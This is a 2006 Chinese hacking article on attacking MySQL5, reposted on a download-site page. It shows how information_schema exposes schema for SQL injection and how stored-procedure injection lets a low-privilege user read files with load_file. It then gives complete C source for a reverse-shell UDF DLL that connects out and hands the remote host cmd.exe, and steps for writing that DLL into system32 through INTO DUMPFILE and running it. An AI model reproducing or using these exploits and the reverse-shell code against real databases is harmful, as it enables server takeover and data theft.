Hackfing in Mysql5
Author:SuperHei_[At]_ph4nt0m.org
Blog:http://superhei.blogbus.com/
Team:http://www.ph4nt0m.org
Data: 2006-01-29
Mysql5增加很多新的功能,开始支持:存储过程、触发器、视图、信息架构视图等新特。可以说这些都是发展的必然,但是新的东西的出来,必定也会带来新的安全问题,如Mysql4开始支持union查询、子查询。这直接导致mysql注射更容易、广泛。mysql5的新功能会给安全带来什么新的东西呢?下面我给大家介绍下mysql5在安全方面的特点:
一、password authentication
mysql5的password()和mysql4.1一样,采用的基于SHA1的41位hash:
mysql> select password('mypass');
+-------------------------------------------+
| password('mypass') |
+-------------------------------------------+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+-------------------------------------------+
1 row in set (0.00 sec)
在mysql4.1以前的password hashes是基于16位md5:
mysql> SELECT PASSWORD('mypass');
+--------------------+
| PASSWORD('mypass') |
+--------------------+
| 6f8c114b58f2ce9e |
+--------------------+
当使用低版本的Client连接时,回出现错误:Client does not support authentication protocol,为了解决这个问题,mysql5提供了一个old_password(),就相当于mysql4.1以前的的password():
mysql> select old_password('mypass');
+------------------------+
| old_password('mypass') |
+------------------------+
| 6f8c114b58f2ce9e |
+------------------------+
1 row in set (0.09 sec)
二、数据字典(information_schema)
和mssql、oracle、db2等数据库一样,mysql5提供了一个系统数据库:information_schema
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| VIEWS |
| USER_PRIVILEGES |
+---------------------------------------+
16 rows in set (0.17 sec)
在这个数据库里我们可以得到很多信息,包括当前用户权限:
mysql> select * from information_schema.USER_PRIVILEGES;
+-----------+---------------+----------------+--------------+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+-----------+---------------+----------------+--------------+
| 'KK1'@'%' | NULL | USAGE | NO |
+-----------+---------------+----------------+--------------+
1 row in set (0.02 sec)
当前用户权限下可以访问的数据库,表,列名(这个在sql注射中,导致直接暴区数据库,表列名,再也不要‘暴力’咯):
mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS
TICS;
+--------------+------------+-------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------+------------+-------------+
| in | article | articleid |
| in | user | userid |
+--------------+------------+-------------+
2 rows in set (0.02 sec)
还可以得到当前用户权限下的VIEWS,ROUTINES等,关于ROUTINES我们在下面的‘存储过程’里详细介绍。
[ps:注意是‘当前用户权限’如果是root,那么太可以得到所有的数据库名称以及表列名等等]
三、存储过程(Stored Procedures)
'存储过程'的使用是mysql5的一个闪光点,在带来方便的同时,它也带来了新的安全隐患:如sql注射,用户权限提升等等。
D:\mysql5\bin>mysql -uroot -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 5.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> use in
Database changed
mysql> delimiter //
mysql> CREATE PROCEDURE test(id INT)
-> BEGIN
-> SELECT * FROM in.USER WHERE USERID=ID;
-> END//
Query OK, 0 rows affected (0.08 sec)
mysql> delimiter ;
mysql> call test(1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
上面我们使用root在数据库in里创建了一个名为test的存储过程。
a、SQL Injection
mysql> call test(1 and 1=1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.01 sec)
mysql> call test(1 and 1=2);
Empty set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
b、跨权限
存储过程是继承创建者的权限的,如果存储过程是root创建的,当其他普通用户使用这个存储过程时,导致跨权限攻击:
mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE
-> ON `IN`.*
-> TO 'KK1'@'%'
-> IDENTIFIED BY 'OBSCURE';
Query OK, 0 rows affected (0.03 sec)
上面建立一个KK1的用户只在数据库in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE权限,使用KK1登陆:
D:\mysql5\bin>mysql -uKK1 -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5 to server version: 5.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform
ation_schema.ROUTINES;
+----------------+--------------+----------------+--------------------+
| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER | ROUTINE_DEFINITION |
+----------------+--------------+----------------+--------------------+
| in | test | root@localhost | |
| in | tt | root@localhost | |
+----------------+--------------+----------------+--------------------+
2 rows in set (0.01 sec)
我们可以得到KK1可以使用存储过程in.test 其创建者为root@localhost。不过KK1没有权限得到ROUTINE_DEFINITION 就是in.test的代码。下面看看跨权限:
mysql> call in.test(1 and length(load_file('c:/boot.ini'))>0);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.01 sec)
mysql> call in.test(1 and length(load_file('c:/boot.ini'))<0);
Empty set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
没有file权限的KK1可以使用in.test使用load_file(),我们还可以直接对mysql.user进行select,如果存储过程可以updata,insert注射,那么我们可以普通用户直接通过注射来修改mysql.user里的数据。
四、User-Defined Function
[ps:下面都是基于win系统]
mysql5的udf在格式和安全方面做一些新的改变:
1、格式要求更加严格[xxx_init()初始化函数]
对于没有xxx_init()初始化函数 在以前的版本是可以使用的,但是在mysql5下会出现Can't find function 'xxx_init' in library的错误,如:
mysql> create function ExitProcess returns integer soname 'kernel32';
ERROR 1127 (HY000): Can't find function 'ExitProcess_init' in library
下面给出的代码是好友云舒写的,符合mysql5的udf格式要求可以在mysql5下使用:
/*******************************************************************************
* File: MySQL_Shell.cpp
* Author: 云舒(wustyunshu at hotmail dot com)
* Date: 2005-12-12
*******************************************************************************/
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#define MAKE_DLL /* Build dll here */
#include "MySQL_Shell.h"
#pragma comment( lib, "ws2_32" )
#define BUFFER_SIZE 1024
///////////////////////////////////////////////////////////////////////////////
//函数原型
///////////////////////////////////////////////////////////////////////////////
BOOL StartWith( char *, char * );
void LogMsg( char * );
///////////////////////////////////////////////////////////////////////////////
//MySQL模块初始化函数
///////////////////////////////////////////////////////////////////////////////
LIB my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )
{
if ( args->arg_count != 2 )
{
strcpy( message, "Shell() requires two arguments" );
return 1;
}
if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )
{
strcpy( message, "Shell() requires two string arguent" );
return 1;
}
return 0;
}
///////////////////////////////////////////////////////////////////////////////
//MySQL模块主功能函数,反向连接提供shell
///////////////////////////////////////////////////////////////////////////////
LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )
{
SOCKET sock;
SOCKADDR_IN sin;
int ret;
// Create socket
sock = socket( AF_INET, SOCK_STREAM, 0 );
if ( sock == INVALID_SOCKET )
{
strcpy( error, "Create socket error" );
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons( atoi(args->args[1]) );
sin.sin_addr.s_addr = inet_addr( args->args[0] );
//connect to remote server
ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );
if( ret == SOCKET_ERROR )
{
strcpy( error, "Connect error" );
return -1;
}
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );
ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );
STARTUPINFO si;
ZeroMemory( &si, sizeof(si) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
PROCESS_INFORMATION processInfo;
char cmdLine[] = "cmd.exe";
ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);
char buff[BUFFER_SIZE] = { 0 };
unsigned long bytesRead = 0;
int i = 0;
while( TRUE )
{
memset( buff, 0, BUFFER_SIZE );
ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );
for(i = 0; i < 5 && bytesRead == 0; i++)
{
Sleep(100);
ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );
}
if( bytesRead )
{
ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
if( !ret ) break;
ret = send( sock, buff, bytesRead, 0 );
if( ret <= 0 ) break;
}
else
{
bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );
if( bytesRead <= 0 ) break;
if( StartWith( buff , "exit" ) == TRUE ) break;
ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );
if( !ret ) break;
}
}
TerminateProcess( processInfo.hProcess, 0 );
CloseHandle( hReadPipe1 );
CloseHandle( hReadPipe2 );
CloseHandle( hWritePipe1 );
CloseHandle( hWritePipe2 );
closesocket( sock );
return 0;
}
///////////////////////////////////////////////////////////////////////////////
//判断字符串是否以另一个字符串开头
///////////////////////////////////////////////////////////////////////////////
BOOL StartWith( char *buf1, char *buf2 )
{
int len = strlen(buf2);
if( memcmp( buf1,buf2,len ) == 0 )
{
return TRUE;
}
return FALSE;
}
///////////////////////////////////////////////////////////////////////////////
//记录日志信息,调试用
///////////////////////////////////////////////////////////////////////////////
void LogMsg( char *msg )
{
FILE *fp;
fp = fopen( "C:\mysql.txt", "a+" );
fputs( msg, fp );
fclose( fp );
}
/*******************************************************************************
* File: MySQL_Shell.h
* Author: 云舒(wustyunshu at hotmail dot com)
* Date: 2005-12-12
*******************************************************************************/
#ifdef MAKE_DLL
#define LIB extern "C" __declspec(dllexport)
#else
#define LIB extern "C" __declspec(dllimport)
#endif
#define MYSQL_ERRMSG_SIZE 512 /* Max buffer size */
typedef char my_bool;
enum Item_result
{
STRING_RESULT,REAL_RESULT,INT_RESULT
};
typedef struct st_udf_args
{
unsigned int arg_count; /* Number of arguments */
enum Item_result *arg_type; /* Pointer to item_results */
char **args; /* Pointer to argument */
unsigned long *lengths; /* Length of string arguments */
char *maybe_null; /* Set to 1 for all maybe_null args */
} UDF_ARGS;
typedef struct st_udf_init
{
my_bool maybe_null; /* 1 if function can return NULL */
unsigned int decimals; /* for real functions */
unsigned int max_length; /* For string functions */
char *ptr; /* free pointer for function data */
char const_item; /* 0 if result is independent of arguments */
} UDF_INIT;
LIB my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );
LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );
2、mysql5限制了udf对应的文件dll文件只可以放在system32目录下。
对于一般低权限的系统用户是没有对system32目录写权限的,在这样的情况下我们可以使用into dumpfile把dll文件放到system32来突破,具体如下:
mysql> use mysql;
Database changed
mysql> create table heige(line blob);
Query OK, 0 rows affected (0.50 sec)
mysql> insert into heige values(load_file('c:/udf.dll'));
Query OK, 1 row affected (0.08 sec)
mysql> select * from heige into dumpfile 'c:/winnt/system32/heige.dll';
Query OK, 1 row affected (0.18 sec)
mysql> create function shell returns integer soname 'heige.dll';
Query OK, 0 rows affected (0.07 sec)
mysql> select * from mysql.func;
+-------+-----+-----------+----------+
| name | ret | dl | type |
+-------+-----+-----------+----------+
| shell | 2 | heige.dll | function |
+-------+-----+-----------+----------+
1 row in set (0.00 sec)
mysql> select shell('127.0.0.1','1234');
+---------------------------+
| shell('127.0.0.1','1234') |
+---------------------------+
| NULL |
+---------------------------+
1 row in set (0.97 sec)
五、参考
《MySQL 5.0 Reference Manual》 http://dev.mysql.com/doc/refman/5.0/en/
《Hackproofing MySQL》 http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
《给mysql加个自定义函数(windows平台)》http://www.icylife.net/yunshu/show.php?id=244
六、感谢
感谢云舒、TomyChen、Mix ...所有pst的兄弟们。
谢谢阅读!
分享到:
相关推荐
MySQL 入门经典MySQL 入门经典MySQL 入门经典MySQL 入门经典MySQL 入门经典MySQL 入门经典MySQL 入门经典MySQL 入门经典MySQL 入门经典MySQL 入门经典MySQL 入门经典MySQL 入门经典MySQL 入门经典MySQL 入门经典...
完整版 MySQL8.0从入门到精通 MySQL数据库教程 第19章 MySQL管理利器-MySQL Utilities(共5页).ppt 完整版 MySQL8.0从入门到精通 MySQL数据库教程 第20章 读写分离的利器-MySQL Proxy(共8页).ppt 完整版 MySQL8.0...
教程名称:Mysql从入门到精通视频教程(共29集)课程目录:【】mysql视频教程mysql PPT【】第1讲 数据库概念【】第2讲 mysql入门语句【】第3讲 增删改查语句介绍【】第4讲 整型列的字节与存储范围【】第5讲 整型列的...
完整版 MySQL8.0从入门到精通 MySQL数据库教程 第19章 MySQL管理利器-MySQL Utilities(共5页).ppt 完整版 MySQL8.0从入门到精通 MySQL数据库教程 第20章 读写分离的利器-MySQL Proxy(共8页).ppt 完整版 MySQL8.0...
数据库MySQL入门.pdf
mysql从入门到精通讲述mysql数据库的基本知识,从入门到MySQL安全管理,适合程序员、数据库管理员和MySQL用户阅读
PHP5与MySQL5从入门到精通 PHP5与MySQL5从入门到精通 PHP5与MySQL5从入门到精通
mysql入门很简单, 适合初学者快速浏览整体内容,pdf内容清晰
Mysql快速入门资料
MySQL数据库入门 配套资源 PPT+PDF+CODE 15.4M
一本很经典的PHP+MySQL的英语教材。讲的很详细。很实用,值得观看。
MySQL入门到精通 代码 合集 所有的 教程代码合集 源代码
【完整课件如下】MySQL从入门到精通 第01章 初始MySQL(共19页).pptMySQL从入门到精通 第02章 MySQL的安装与配置(共14页).pptMySQL从入门到精通 第03章 数据库的基本操作(共11页).pptMySQL从入门到精通 第04章 ...
1.1.认识MySQL.mp4 2.1.认识MySQL.size.mp4 3.2.安装配置MySQL.mp4 4.2.安装配置MySQL.size.mp4 5.3.MySQL登录与退出命令.mp4 6.3.MySQL登录与退出命令.size.mp4 7.4.使用MySQL之常见符号.mp4 8.4.使用MySQL之常见...
【完整课件如下】MySQL从入门到精通 第01章 初始MySQL(共19页).pptMySQL从入门到精通 第02章 MySQL的安装与配置(共14页).pptMySQL从入门到精通 第03章 数据库的基本操作(共11页).pptMySQL从入门到精通 第04章 ...
MySQL5.7从入门到精通,高清带书签版,帮助快速学习MySql
MySQL入门很简单课件MySQL入门很简单课件MySQL入门很简单课件MySQL入门很简单课件MySQL入门很简单课件MySQL入门很简单课件
非常直白简单的MySQL教程,初级篇非常适合初学者,高级篇针对工程师的薄弱环节攻克。希望能帮到广大网友和工程师!
这个笔记是我通过网上课程整理出来的,对数据库初学者很有帮助!希望大家不喜勿喷!我接下来还整理一些其他的笔记,希望自己能够成长,也希望可以帮助到大家